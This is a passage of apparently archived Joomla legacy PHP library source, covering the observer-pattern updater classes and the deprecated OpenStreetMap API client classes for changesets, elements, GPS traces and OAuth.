interface JObserverUpdaterInterface
{
/**
* Constructor
*
* @param JObservableInterface $observable The observable subject
object
*
* @since 3.1.2
*/
public function __construct(JObservableInterface $observable);
/**
* Adds an observer to the JObservableInterface instance updated by this
* This method can be called from JObservableInterface::attachObserver
*
* @param JObserverInterface $observer The observer object
*
* @return void
*
* @since 3.1.2
*/
public function attachObserver(JObserverInterface $observer);
/**
* Call all observers for $event with $params
*
* @param string $event Event name (function name in observer)
* @param array $params Params of event (params in observer function)
*
* @return void
*
* @since 3.1.2
*/
public function update($event, $params);
/**
* Enable/Disable calling of observers (this is useful when calling
parent:: function
*
* @param boolean $enabled Enable (true) or Disable (false) the
observer events
*
* @return boolean Returns old state
*
* @since 3.1.2
*/
public function doCallObservers($enabled);
}
observer/updater.php000064400000007624151171674130010567 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Observer
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Observer updater pattern implementation for Joomla
*
* @since 3.1.2
*/
class JObserverUpdater implements JObserverUpdaterInterface
{
/**
* Holds the key aliases for observers.
*
* @var array
* @since 3.9.0
*/
protected $aliases = array();
/**
* Generic JObserverInterface observers for this JObservableInterface
*
* @var JObserverInterface
* @since 3.1.2
*/
protected $observers = array();
/**
* Process observers (useful when a class extends significantly an
observed method, and calls observers itself
*
* @var boolean
* @since 3.1.2
*/
protected $doCallObservers = true;
/**
* Constructor
*
* @param JObservableInterface $observable The observable subject
object
*
* @since 3.1.2
*/
public function __construct(JObservableInterface $observable)
{
// Not yet needed, but possible: $this->observable = $observable;
}
/**
* Adds an observer to the JObservableInterface instance updated by this
* This method can be called from JObservableInterface::attachObserver
*
* @param JObserverInterface $observer The observer object
*
* @return void
*
* @since 3.1.2
*/
public function attachObserver(JObserverInterface $observer)
{
$class = get_class($observer);
// Also register the alias if exists
foreach (JLoader::getDeprecatedAliases() as $alias)
{
$realClass = trim($alias['new'], '\\');
// Check if we have an alias for the observer class
if ($realClass === $class)
{
$aliasClass = trim($alias['old'], '\\');
// Add an alias to known aliases
$this->aliases[$aliasClass] = $class;
}
}
// Register the real class
$this->observers[$class] = $observer;
}
/**
* Removes an observer from the JObservableInterface instance updated by
this
* This method can be called from JObservableInterface::attachObserver
*
* @param String $observer The observer class name
*
* @return void
*
* @since 3.6.0
*/
public function detachObserver($observer)
{
$observer = trim($observer, '\\');
if (isset($this->aliases[$observer]))
{
$observer = $this->aliases[$observer];
}
if (isset($this->observers[$observer]))
{
unset($this->observers[$observer]);
}
}
/**
* Gets the instance of the observer of class $observerClass
*
* @param string $observerClass The class name of the observer
*
* @return JTableObserver|null The observer object of this class if any
*
* @since 3.1.2
*/
public function getObserverOfClass($observerClass)
{
$observerClass = trim($observerClass, '\\');
if (isset($this->aliases[$observerClass]))
{
$observerClass = $this->aliases[$observerClass];
}
if (isset($this->observers[$observerClass]))
{
return $this->observers[$observerClass];
}
return null;
}
/**
* Call all observers for $event with $params
*
* @param string $event Name of the event
* @param array $params Params of the event
*
* @return void
*
* @since 3.1.2
*/
public function update($event, $params)
{
if ($this->doCallObservers)
{
foreach ($this->observers as $observer)
{
$eventListener = array($observer, $event);
if (is_callable($eventListener))
{
call_user_func_array($eventListener, $params);
}
}
}
}
/**
* Enable/Disable calling of observers (this is useful when calling
parent:: function
*
* @param boolean $enabled Enable (true) or Disable (false) the
observer events
*
* @return boolean Returns old state
*
* @since 3.1.2
*/
public function doCallObservers($enabled)
{
$oldState = $this->doCallObservers;
$this->doCallObservers = $enabled;
return $oldState;
}
}
observer/wrapper/mapper.php000064400000003020151171674130012051
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Observer
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Wrapper class for JObserverMapper
*
* @package Joomla.Platform
* @subpackage Observer
* @since 3.4
*/
class JObserverWrapperMapper
{
/**
* Helper wrapper method for addObserverClassToClass
*
* @param string $observerClass The name of the observer
class (implementing JObserverInterface).
* @param string $observableClass The name of the observable
class (implementing JObservableInterface).
* @param array|boolean $params The params to give to the
JObserverInterface::createObserver() function, or false to remove mapping.
*
* @return void
*
* @see JObserverMapper::addObserverClassToClass
* @since 3.4
*/
public function addObserverClassToClass($observerClass, $observableClass,
$params = array())
{
return JObserverMapper::addObserverClassToClass($observerClass,
$observableClass, $params);
}
/**
* Helper wrapper method for attachAllObservers
*
* @param JObservableInterface $observableObject The observable
subject object.
*
* @return void
*
* @see JObserverMapper::attachAllObservers
* @since 3.4
*/
public function attachAllObservers(JObservableInterface $observableObject)
{
return JObserverMapper::attachAllObservers($observableObject);
}
}
openstreetmap/changesets.php000064400000015326151171674130012304
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Openstreetmap
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
/**
* Openstreetmap API Changesets class for the Joomla Platform
*
* @since 3.2.0
* @deprecated 4.0 Use the `joomla/openstreetmap` package via Composer
instead
*/
class JOpenstreetmapChangesets extends JOpenstreetmapObject
{
/**
* Method to create a changeset
*
* @param array $changesets Array which contains changeset data
*
* @return array The XML response
*
* @since 3.2.0
*/
public function createChangeset($changesets=array())
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
'oauth_token_secret' => $token['secret'],
);
// Set the API base
$base = 'changeset/create';
// Build the request path.
$path = $this->getOption('api.url') . $base;
$xml = '<?xml version="1.0"
encoding="UTF-8"?>
<osm version="0.6"
generator="JOpenstreetmap">';
if (!empty($changesets))
{
// Create Changeset element for every changeset
foreach ($changesets as $tags)
{
$xml .= '<changeset>';
if (!empty($tags))
{
// Create a list of tags for each changeset
foreach ($tags as $key => $value)
{
$xml .= '<tag k="' . $key . '"
v="' . $value . '"/>';
}
}
$xml .= '</changeset>';
}
}
$xml .= '</osm>';
$header['Content-Type'] = 'text/xml';
// Send the request.
$response = $this->oauth->oauthRequest($path, 'PUT',
$parameters, $xml, $header);
return $response->body;
}
/**
* Method to read a changeset
*
* @param integer $id identifier of the changeset
*
* @return array The XML response about a changeset
*
* @since 3.2.0
*/
public function readChangeset($id)
{
// Set the API base
$base = 'changeset/' . $id;
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$xml_string = $this->sendRequest($path);
return $xml_string->changeset;
}
/**
* Method to update a changeset
*
* @param integer $id Identifier of the changeset
* @param array $tags Array of tags to update
*
* @return array The XML response of updated changeset
*
* @since 3.2.0
*/
public function updateChangeset($id, $tags = array())
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = 'changeset/' . $id;
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Create a list of tags to update changeset
$tag_list = '';
if (!empty($tags))
{
foreach ($tags as $key => $value)
{
$tag_list .= '<tag k="' . $key . '"
v="' . $value . '"/>';
}
}
$xml = '<?xml version="1.0"
encoding="UTF-8"?>
<osm version="0.6"
generator="JOpenstreetmap">
<changeset>'
. $tag_list .
'</changeset>
</osm>';
$header['Content-Type'] = 'text/xml';
// Send the request.
$response = $this->oauth->oauthRequest($path, 'PUT',
$parameters, $xml, $header);
$xml_string = simplexml_load_string($response->body);
return $xml_string->changeset;
}
/**
* Method to close a changeset
*
* @param integer $id identifier of the changeset
*
* @return void
*
* @since 3.2.0
*/
public function closeChangeset($id)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = 'changeset/' . $id . '/close';
// Build the request path.
$path = $this->getOption('api.url') . $base;
$header['format'] = 'text/xml';
// Send the request.
$this->oauth->oauthRequest($path, 'PUT', $parameters,
$header);
}
/**
* Method to download a changeset
*
* @param integer $id Identifier of the changeset
*
* @return array The XML response of requested changeset
*
* @since 3.2.0
*/
public function downloadChangeset($id)
{
// Set the API base
$base = 'changeset/' . $id . '/download';
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$xml_string = $this->sendRequest($path);
return $xml_string->create;
}
/**
* Method to expand the bounding box of a changeset
*
* @param integer $id Identifier of the changeset
* @param array $nodes List of lat lon about nodes
*
* @return array The XML response of changed changeset
*
* @since 3.2.0
*/
public function expandBBoxChangeset($id, $nodes)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = 'changeset/' . $id . '/expand_bbox';
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Create a list of tags to update changeset
$node_list = '';
if (!empty($nodes))
{
foreach ($nodes as $node)
{
$node_list .= '<node lat="' . $node[0] . '"
lon="' . $node[1] . '"/>';
}
}
$xml = '<?xml version="1.0"
encoding="UTF-8"?>
<osm version="0.6"
generator="JOpenstreetmap">
<changeset>'
. $node_list .
'</changeset>
</osm>';
$header['Content-Type'] = 'text/xml';
// Send the request.
$response = $this->oauth->oauthRequest($path, 'POST',
$parameters, $xml, $header);
$xml_string = simplexml_load_string($response->body);
return $xml_string->changeset;
}
/**
* Method to query on changesets
*
* @param string $param Parameters for query
*
* @return array The XML response
*
* @since 3.2.0
*/
public function queryChangeset($param)
{
// Set the API base
$base = 'changesets/' . $param;
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$xml_string = $this->sendRequest($path);
return $xml_string->osm;
}
/**
* Method to upload a diff to a changeset
*
* @param string $xml Diff data to upload
* @param integer $id Identifier of the changeset
*
* @return array The XML response of result
*
* @since 3.2.0
*/
public function diffUploadChangeset($xml, $id)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = 'changeset/' . $id . '/upload';
// Build the request path.
$path = $this->getOption('api.url') . $base;
$header['Content-Type'] = 'text/xml';
// Send the request.
$response = $this->oauth->oauthRequest($path, 'POST',
$parameters, $xml, $header);
$xml_string = simplexml_load_string($response->body);
return $xml_string->diffResult;
}
}
openstreetmap/elements.php000064400000032325151171674130011772
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Openstreetmap
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
/**
* Openstreetmap API Elements class for the Joomla Platform
*
* @since 3.2.0
* @deprecated 4.0 Use the `joomla/openstreetmap` package via Composer
instead
*/
class JOpenstreetmapElements extends JOpenstreetmapObject
{
/**
* Method to create a node
*
* @param integer $changeset Changeset id
* @param float $latitude Latitude of the node
* @param float $longitude Longitude of the node
* @param array $tags Array of tags for a node
*
* @return array The XML response
*
* @since 3.2.0
*/
public function createNode($changeset, $latitude, $longitude, $tags)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = 'node/create';
// Build the request path.
$path = $this->getOption('api.url') . $base;
$tag_list = '';
// Create XML node
if (!empty($tags))
{
foreach ($tags as $key => $value)
{
$tag_list .= '<tag k="' . $key . '"
v="' . $value . '"/>';
}
}
$xml = '<?xml version="1.0"
encoding="UTF-8"?>
<osm version="0.6"
generator="JOpenstreetmap">
<node changeset="' . $changeset . '"
lat="' . $latitude . '" lon="' . $longitude .
'">'
. $tag_list .
'</node>
</osm>';
$header['Content-Type'] = 'text/xml';
// Send the request.
$response = $this->oauth->oauthRequest($path, 'PUT',
$parameters, $xml, $header);
return $response->body;
}
/**
* Method to create a way
*
* @param integer $changeset Changeset id
* @param array $tags Array of tags for a way
* @param array $nds Node ids to refer
*
* @return array The XML response
*
* @since 3.2.0
*/
public function createWay($changeset, $tags, $nds)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = 'way/create';
// Build the request path.
$path = $this->getOption('api.url') . $base;
$tag_list = '';
// Create XML node
if (!empty($tags))
{
foreach ($tags as $key => $value)
{
$tag_list .= '<tag k="' . $key . '"
v="' . $value . '"/>';
}
}
$nd_list = '';
if (!empty($nds))
{
foreach ($nds as $value)
{
$nd_list .= '<nd ref="' . $value .
'"/>';
}
}
$xml = '<?xml version="1.0"
encoding="UTF-8"?>
<osm version="0.6"
generator="JOpenstreetmap">
<way changeset="' . $changeset . '">'
. $tag_list
. $nd_list .
'</way>
</osm>';
$header['Content-Type'] = 'text/xml';
// Send the request.
$response = $this->oauth->oauthRequest($path, 'PUT',
$parameters, $xml, $header);
return $response->body;
}
/**
* Method to create a relation
*
* @param integer $changeset Changeset id
* @param array $tags Array of tags for a relation
* @param array $members Array of members for a relation
* eg: $members =
array(array("type"=>"node",
"role"=>"stop",
"ref"=>"123"),
array("type"=>"way",
"ref"=>"123"))
*
* @return array The XML response
*
* @since 3.2.0
*/
public function createRelation($changeset, $tags, $members)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = 'relation/create';
// Build the request path.
$path = $this->getOption('api.url') . $base;
$tag_list = '';
// Create XML node
if (!empty($tags))
{
foreach ($tags as $key => $value)
{
$tag_list .= '<tag k="' . $key . '"
v="' . $value . '"/>';
}
}
// Members
$member_list = '';
if (!empty($members))
{
foreach ($members as $member)
{
if ($member['type'] == 'node')
{
$member_list .= '<member type="' .
$member['type'] . '" role="' .
$member['role'] . '" ref="' .
$member['ref'] . '"/>';
}
elseif ($member['type'] == 'way')
{
$member_list .= '<member type="' .
$member['type'] . '" ref="' .
$member['ref'] . '"/>';
}
}
}
$xml = '<?xml version="1.0"
encoding="UTF-8"?>
<osm version="0.6"
generator="JOpenstreetmap">
<relation relation="' . $changeset . '"
>'
. $tag_list
. $member_list .
'</relation>
</osm>';
$header['Content-Type'] = 'text/xml';
// Send the request.
$response = $this->oauth->oauthRequest($path, 'PUT',
$parameters, $xml, $header);
return $response->body;
}
/**
* Method to read an element [node|way|relation]
*
* @param string $element [node|way|relation]
* @param integer $id Element identifier
*
* @return array The XML response
*
* @since 3.2.0
* @throws DomainException
*/
public function readElement($element, $id)
{
if ($element != 'node' && $element != 'way'
&& $element != 'relation')
{
throw new DomainException('Element should be a node, a way or a
relation');
}
// Set the API base
$base = $element . '/' . $id;
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$xml_string = $this->sendRequest($path);
return $xml_string->$element;
}
/**
* Method to update an Element [node|way|relation]
*
* @param string $element [node|way|relation]
* @param string $xml Full reperentation of the element with a
version number
* @param integer $id Element identifier
*
* @return array The xml response
*
* @since 3.2.0
* @throws DomainException
*/
public function updateElement($element, $xml, $id)
{
if ($element != 'node' && $element != 'way'
&& $element != 'relation')
{
throw new DomainException('Element should be a node, a way or a
relation');
}
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = $element . '/' . $id;
// Build the request path.
$path = $this->getOption('api.url') . $base;
$header['Content-Type'] = 'text/xml';
// Send the request.
$response = $this->oauth->oauthRequest($path, 'PUT',
$parameters, $xml, $header);
return $response->body;
}
/**
* Method to delete an element [node|way|relation]
*
* @param string $element [node|way|relation]
* @param integer $id Element identifier
* @param integer $version Element version
* @param integer $changeset Changeset identifier
* @param float $latitude Latitude of the element
* @param float $longitude Longitude of the element
*
* @return array The XML response
*
* @since 3.2.0
* @throws DomainException
*/
public function deleteElement($element, $id, $version, $changeset,
$latitude = null, $longitude = null)
{
if ($element != 'node' && $element != 'way'
&& $element != 'relation')
{
throw new DomainException('Element should be a node, a way or a
relation');
}
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = $element . '/' . $id;
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Create xml
$xml = '<?xml version="1.0"
encoding="UTF-8"?>
<osm version="0.6"
generator="JOpenstreetmap">
<' . $element . ' id="' . $id . '"
version="' . $version . '" changeset="' .
$changeset . '"';
if (!empty($latitude) && !empty($longitude))
{
$xml .= ' lat="' . $latitude . '"
lon="' . $longitude . '"';
}
$xml .= '/></osm>';
$header['Content-Type'] = 'text/xml';
// Send the request.
$response = $this->oauth->oauthRequest($path, 'DELETE',
$parameters, $xml, $header);
return $response->body;
}
/**
* Method to get history of an element [node|way|relation]
*
* @param string $element [node|way|relation]
* @param integer $id Element identifier
*
* @return array The XML response
*
* @since 3.2.0
* @throws DomainException
*/
public function historyOfElement($element, $id)
{
if ($element != 'node' && $element != 'way'
&& $element != 'relation')
{
throw new DomainException('Element should be a node, a way or a
relation');
}
// Set the API base
$base = $element . '/' . $id . '/history';
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$xml_string = $this->sendRequest($path);
return $xml_string->$element;
}
/**
* Method to get details about a version of an element [node|way|relation]
*
* @param string $element [node|way|relation]
* @param integer $id Element identifier
* @param integer $version Element version
*
* @return array The XML response
*
* @since 3.2.0
* @throws DomainException
*/
public function versionOfElement($element, $id, $version)
{
if ($element != 'node' && $element != 'way'
&& $element != 'relation')
{
throw new DomainException('Element should be a node, a way or a
relation');
}
// Set the API base
$base = $element . '/' . $id . '/' . $version;
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$xml_string = $this->sendRequest($path);
return $xml_string->$element;
}
/**
* Method to get data about multiple ids of an element [node|way|relation]
*
* @param string $element [nodes|ways|relations] - use plural word
* @param string $params Comma separated list of ids belonging to
type $element
*
* @return array The XML response
*
* @since 3.2.0
* @throws DomainException
*/
public function multiFetchElements($element, $params)
{
if ($element != 'nodes' && $element != 'ways'
&& $element != 'relations')
{
throw new DomainException('Element should be nodes, ways or
relations');
}
// Get singular word
$single_element = substr($element, 0, strlen($element) - 1);
// Set the API base, $params is a string with comma separated values
$base = $element . '?' . $element . '=' . $params;
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$xml_string = $this->sendRequest($path);
return $xml_string->$single_element;
}
/**
* Method to get relations for an Element [node|way|relation]
*
* @param string $element [node|way|relation]
* @param integer $id Element identifier
*
* @return array The XML response
*
* @since 3.2.0
* @throws DomainException
*/
public function relationsForElement($element, $id)
{
if ($element != 'node' && $element != 'way'
&& $element != 'relation')
{
throw new DomainException('Element should be a node, a way or a
relation');
}
// Set the API base
$base = $element . '/' . $id . '/relations';
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$xml_string = $this->sendRequest($path);
return $xml_string->$element;
}
/**
* Method to get ways for a Node element
*
* @param integer $id Node identifier
*
* @return array The XML response
*
* @since 3.2.0
*/
public function waysForNode($id)
{
// Set the API base
$base = 'node/' . $id . '/ways';
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$xml_string = $this->sendRequest($path);
return $xml_string->way;
}
/**
* Method to get full information about an element [way|relation]
*
* @param string $element [way|relation]
* @param integer $id Identifier
*
* @return array The XML response
*
* @since 3.2.0
* @throws DomainException
*/
public function fullElement($element, $id)
{
if ($element != 'way' && $element !=
'relation')
{
throw new DomainException('Element should be a way or a
relation');
}
// Set the API base
$base = $element . '/' . $id . '/full';
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$xml_string = $this->sendRequest($path);
return $xml_string->node;
}
/**
* Method used by the DWG to hide old versions of elements containing data
privacy or copyright infringements
*
* @param string $element [node|way|relation]
* @param integer $id Element identifier
* @param integer $version Element version
* @param integer $redactionId Redaction id
*
* @return array The xml response
*
* @since 3.2.0
* @throws DomainException
*/
public function redaction($element, $id, $version, $redactionId)
{
if ($element != 'node' && $element != 'way'
&& $element != 'relation')
{
throw new DomainException('Element should be a node, a way or a
relation');
}
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = $element . '/' . $id . '/' . $version .
'/redact?redaction=' . $redactionId;
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'PUT',
$parameters);
$xml_string = simplexml_load_string($response->body);
return $xml_string;
}
}
openstreetmap/gps.php000064400000007437151171674130010755 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Openstreetmap
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
/**
* Openstreetmap API GPS class for the Joomla Platform
*
* @since 3.2.0
* @deprecated 4.0 Use the `joomla/openstreetmap` package via Composer
instead
*/
class JOpenstreetmapGps extends JOpenstreetmapObject
{
/**
* Method to retrieve GPS points
*
* @param float $left Left boundary
* @param float $bottom Bottom boundary
* @param float $right Right boundary
* @param float $top Top boundary
* @param integer $page Page number
*
* @return array The XML response containing GPS points
*
* @since 3.2.0
*/
public function retrieveGps($left, $bottom, $right, $top, $page = 0)
{
// Set the API base
$base = 'trackpoints?bbox=' . $left . ',' . $bottom .
',' . $right . ',' . $top . '&page=' .
$page;
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'GET',
array());
$xml_string = simplexml_load_string($response->body);
return $xml_string;
}
/**
* Method to upload GPS Traces
*
* @param string $file File name that contains trace points
* @param string $description Description on trace points
* @param string $tags Tags for trace
* @param integer $public 1 for public, 0 for private
* @param string $visibility One of the following: private, public,
trackable, identifiable
* @param string $username Username
* @param string $password Password
*
* @return JHttpResponse The response
*
* @since 3.2.0
*/
public function uploadTrace($file, $description, $tags, $public,
$visibility, $username, $password)
{
// Set parameters.
$parameters = array(
'file' => $file,
'description' => $description,
'tags' => $tags,
'public' => $public,
'visibility' => $visibility,
);
// Set the API base
$base = 'gpx/create';
// Build the request path.
$path = $this->getOption('api.url') . $base;
$header['Content-Type'] = 'multipart/form-data';
$header = array_merge($header, $parameters);
$header = array_merge($header, array('Authorization' =>
'Basic ' . base64_encode($username . ':' .
$password)));
// Send the request.
$response = $this->sendRequest($path, 'POST', $header,
array());
return $response;
}
/**
* Method to download Trace details
*
* @param integer $id Trace identifier
* @param string $username Username
* @param string $password Password
*
* @return array The XML response
*
* @since 3.2.0
*/
public function downloadTraceMetadetails($id, $username, $password)
{
// Set the API base
$base = 'gpx/' . $id . '/details';
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$xml_string = $this->sendRequest($path, 'GET',
array('Authorization' => 'Basic ' .
base64_encode($username . ':' . $password)));
return $xml_string;
}
/**
* Method to download Trace data
*
* @param integer $id Trace identifier
* @param string $username Username
* @param string $password Password
*
* @return array The XML response
*
* @since 3.2.0
*/
public function downloadTraceMetadata($id, $username, $password)
{
// Set the API base
$base = 'gpx/' . $id . '/data';
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$xml_string = $this->sendRequest($path, 'GET',
array('Authorization' => 'Basic ' .
base64_encode($username . ':' . $password)));
return $xml_string;
}
}
openstreetmap/info.php000064400000004131151171674130011103 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Openstreetmap
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
/**
* Openstreetmap API Info class for the Joomla Platform
*
* @since 3.2.0
* @deprecated 4.0 Use the `joomla/openstreetmap` package via Composer
instead
*/
class JOpenstreetmapInfo extends JOpenstreetmapObject
{
/**
* Method to get capabilities of the API
*
* @return array The XML response
*
* @since 3.2.0
*/
public function getCapabilities()
{
// Set the API base
$base = 'capabilities';
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'GET',
array());
$xml_string = simplexml_load_string($response->body);
return $xml_string;
}
/**
* Method to retrieve map data of a bounding box
*
* @param float $left Left boundary
* @param float $bottom Bottom boundary
* @param float $right Right boundary
* @param float $top Top boundary
*
* @return array The XML response
*
* @since 3.2.0
*/
public function retrieveMapData($left, $bottom, $right, $top)
{
// Set the API base
$base = 'map?bbox=' . $left . ',' . $bottom .
',' . $right . ',' . $top;
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'GET',
array());
$xml_string = simplexml_load_string($response->body);
return $xml_string;
}
/**
* Method to retrieve permissions for current user
*
* @return array The XML response
*
* @since 3.2.0
*/
public function retrievePermissions()
{
// Set the API base
$base = 'permissions';
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'GET',
array());
$xml_string = simplexml_load_string($response->body);
return $xml_string;
}
}
openstreetmap/oauth.php000064400000004726151171674130011302
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Openstreetmap
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
use Joomla\Registry\Registry;
/**
* Joomla Platform class for generating Openstreetmap API access token.
*
* @since 3.2.0
* @deprecated 4.0 Use the `joomla/openstreetmap` package via Composer
instead
*/
class JOpenstreetmapOauth extends JOAuth1Client
{
/**
* Options for the JOpenstreetmapOauth object.
*
* @var Registry
* @since 3.2.0
*/
protected $options;
/**
* Constructor.
*
* @param Registry $options JOpenstreetmapOauth options object.
* @param JHttp $client The HTTP client object.
* @param JInput $input The input object
*
* @since 3.2.0
*/
public function __construct(Registry $options = null, JHttp $client =
null, JInput $input = null)
{
$this->options = isset($options) ? $options : new Registry;
$this->options->def('accessTokenURL',
'https://www.openstreetmap.org/oauth/access_token');
$this->options->def('authoriseURL',
'https://www.openstreetmap.org/oauth/authorize');
$this->options->def('requestTokenURL',
'https://www.openstreetmap.org/oauth/request_token');
/*
$this->options->def('accessTokenURL',
'https://api06.dev.openstreetmap.org/oauth/access_token');
$this->options->def('authoriseURL',
'https://api06.dev.openstreetmap.org/oauth/authorize');
$this->options->def('requestTokenURL',
'https://api06.dev.openstreetmap.org/oauth/request_token');
*/
// Call the JOauth1Client constructor to setup the object.
parent::__construct($this->options, $client, $input, null,
'1.0');
}
/**
* Method to verify if the access token is valid by making a request to an
API endpoint.
*
* @return boolean Returns true if the access token is valid and false
otherwise.
*
* @since 3.2.0
*/
public function verifyCredentials()
{
return true;
}
/**
* Method to validate a response.
*
* @param string $url The request URL.
* @param JHttpResponse $response The response to validate.
*
* @return void
*
* @since 3.2.0
* @throws DomainException
*/
public function validateResponse($url, $response)
{
if ($response->code != 200)
{
$error = htmlspecialchars($response->body, ENT_COMPAT,
'UTF-8');
throw new DomainException($error, $response->code);
}
}
}
openstreetmap/object.php000064400000006101151171674130011415
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Openstreetmap
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
use Joomla\Registry\Registry;
/**
* Openstreetmap API object class for the Joomla Platform
*
* @since 3.2.0
* @deprecated 4.0 Use the `joomla/openstreetmap` package via Composer
instead
*/
abstract class JOpenstreetmapObject
{
/**
* Options for the Openstreetmap object.
*
* @var Registry
* @since 3.2.0
*/
protected $options;
/**
* The HTTP client object to use in sending HTTP requests.
*
* @var JHttp
* @since 3.2.0
*/
protected $client;
/**
* The OAuth client.
*
* @var JOpenstreetmapOauth
* @since 3.2.0
*/
protected $oauth;
/**
* Constructor
*
* @param Registry &$options Openstreetmap options
object.
* @param JHttp $client The HTTP client object.
* @param JOpenstreetmapOauth $oauth Openstreetmap oauth client
*
* @since 3.2.0
*/
public function __construct(Registry &$options = null, JHttp $client =
null, JOpenstreetmapOauth $oauth = null)
{
$this->options = isset($options) ? $options : new Registry;
$this->client = isset($client) ? $client : new
JHttp($this->options);
$this->oauth = $oauth;
}
/**
* Get an option from the JOpenstreetmapObject instance.
*
* @param string $key The name of the option to get.
*
* @return mixed The option value.
*
* @since 3.2.0
*/
public function getOption($key)
{
return $this->options->get($key);
}
/**
* Set an option for the JOpenstreetmapObject instance.
*
* @param string $key The name of the option to set.
* @param mixed $value The option value to set.
*
* @return JOpenstreetmapObject This object for method chaining.
*
* @since 3.2.0
*/
public function setOption($key, $value)
{
$this->options->set($key, $value);
return $this;
}
/**
* Method to send the request which does not require authentication.
*
* @param string $path The path of the request to make
* @param string $method The request method.
* @param array $headers The headers passed in the request.
* @param mixed $data Either an associative array or a string to
be sent with the post request.
*
* @return SimpleXMLElement The XML response
*
* @since 3.2.0
* @throws DomainException
*/
public function sendRequest($path, $method = 'GET', $headers =
array(), $data = '')
{
// Send the request.
switch ($method)
{
case 'GET':
$response = $this->client->get($path, $headers);
break;
case 'POST':
$response = $this->client->post($path, $data, $headers);
break;
}
// Validate the response code.
if ($response->code != 200)
{
$error = htmlspecialchars($response->body, ENT_COMPAT,
'UTF-8');
throw new DomainException($error, $response->code);
}
$xml_string = simplexml_load_string($response->body);
return $xml_string;
}
}
openstreetmap/openstreetmap.php000064400000006654151171674130013052
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Openstreetmap
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
use Joomla\Registry\Registry;
/**
* Joomla Platform class for interact with Openstreetmap API.
*
* @since 3.2.0
* @deprecated 4.0 Use the `joomla/openstreetmap` package via Composer
instead
*/
class JOpenstreetmap
{
/**
* Options for the Openstreetmap object.
*
* @var Registry
* @since 3.2.0
*/
protected $options;
/**
* The HTTP client object to use in sending HTTP requests.
*
